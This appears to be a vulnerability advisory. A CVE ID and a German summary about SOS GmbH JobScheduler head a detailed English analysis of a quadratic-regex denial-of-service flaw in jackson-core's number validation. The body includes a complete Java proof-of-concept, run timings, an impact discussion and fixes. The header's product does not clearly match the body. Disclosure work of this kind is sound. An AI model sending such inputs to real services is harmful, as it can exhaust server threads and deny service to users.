CVE-2026-89407

Ein Angreifer kann mehrere Schwachstellen in SOS GmbH JobScheduler ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen.

## Status **FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000 characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical HTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`. ## Affected Component / Version - **Package:** `com.fasterxml.jackson.core:jackson-core` - **Confirmed against:** `jackson-core-2.20.2` - **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java` (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point `looksLikeValidNumber()` lines ~646-656) ## Technical Analysis ```java private final static Pattern PATTERN_FLOAT = Pattern.compile( "[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?"); private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile( "[+-]?[0-9]+[\\.]"); public static boolean looksLikeValidNumber(final String s) { // ... short-circuits only for null/empty/length==1 ... return PATTERN_FLOAT.matcher(s).matches() || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches(); } ``` `PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class: `[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java's backtracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here, so on a non-matching input the engine must explore every possible split point between the `[0-9]*` and `[0-9]+` groups before concluding failure — the classic quadratic-backtracking shape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex (`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor without changing the asymptotic class. Critically, the length gate that applies to this specific path is `StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength` (default **1,000**) — the length ceiling the library uses everywhere else for numeric content. This means inputs up to four orders of magnitude larger than the library's own numeric-length policy reach this quadratic regex unmodified. ## Reproduction Procedure Same clone/build steps as `jackson-core_1_...md`. Then: ```bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java java -cp "poc:$CP" PoC8_NumberInputReDoS ``` ## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`) ```java import com.fasterxml.jackson.core.io.NumberInput; public class PoC8_NumberInputReDoS { public static void main(String[] args) { int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000}; long[] timesMs = new long[sizes.length]; System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n"); for (int i = 0; i < sizes.length; i++) { int n = sizes[i]; String s = repeat('1', n) + "x"; if (i == 0) { NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up } long t0 = System.nanoTime(); boolean result = NumberInput.looksLikeValidNumber(s); long elapsedMs = (System.nanoTime() - t0) / 1_000_000; timesMs[i] = elapsedMs; System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs); } System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):"); boolean quadraticSignatureObserved = false; for (int i = 1; i < sizes.length; i++) { double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1]; System.out.printf(" n=%d -> n=%d : %dms -> %dms (ratio=%.2fx)%n", sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio); if (ratio >= 3.0) quadraticSignatureObserved = true; } System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1] + " ms for a single call from ONE HTTP-body-sized string."); System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) " + "governs this path, not maxNumberLength (1,000)."); if (quadraticSignatureObserved) { System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent " + "with quadratic backtracking in PATTERN_FLOAT on non-matching input."); } } static String repeat(char c, int n) { char[] arr = new char[n]; java.util.Arrays.fill(arr, c); return new String(arr); } } ``` ## Captured Evidence (actual run output) ``` Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n: n=5000 looksLikeValidNumber=false elapsed= 74 ms n=10000 looksLikeValidNumber=false elapsed= 306 ms n=20000 looksLikeValidNumber=false elapsed= 1157 ms n=40000 looksLikeValidNumber=false elapsed= 4655 ms n=80000 looksLikeValidNumber=false elapsed= 18592 ms n=160000 looksLikeValidNumber=false elapsed= 74393 ms Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic): n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x) n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x) n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x) n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x) n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x) Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string. => REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic backtracking in PATTERN_FLOAT on non-matching input. ``` This is an unusually clean empirical result: five consecutive doublings each produced a ratio between 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within 5% at every single measurement, leaving essentially no ambiguity about the complexity class. Extrapolating this measured curve, a ~1MB string (well within common request body limits) would take on the order of hours for a single call. ## Impact Any application that coerces a String-typed JSON field to a number (default `jackson-databind` behavior) is exposed: an attacker who can submit a large numeric-looking string (up to `maxStringLength`'s default of 20,000,000 characters — far larger than needed given the measured curve) can pin a request-handling thread for an extended period with a single request. Because the cost scales quadratically, a handful of concurrent moderately-sized requests (tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread pool, denying service to all users. ## Remediation 1. Rewrite `PATTERN_FLOAT` without quantifier ambiguity using possessive quantifiers, e.g. `[+-]?(?:[0-9]++(?:\.[0-9]*+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?`, which also folds in the trailing-dot case and removes the need for a second full-string scan. 2. Better: replace the regex entirely with a single-pass hand-written character scan — the same file already contains exactly this pattern for `parseInt`, so the library has both the precedent and the code style available. 3. Apply an independent length limit (`maxNumberLength`, not the much larger `maxStringLength`) before calling `looksLikeValidNumber()`, closing the four-orders-of- magnitude gap between the two constraints for this specific code path. 4. Operationally, until fixed: tighten `StreamReadConstraints.maxStringLength` well below its default, and set wall-clock timeouts on parse/coercion operations.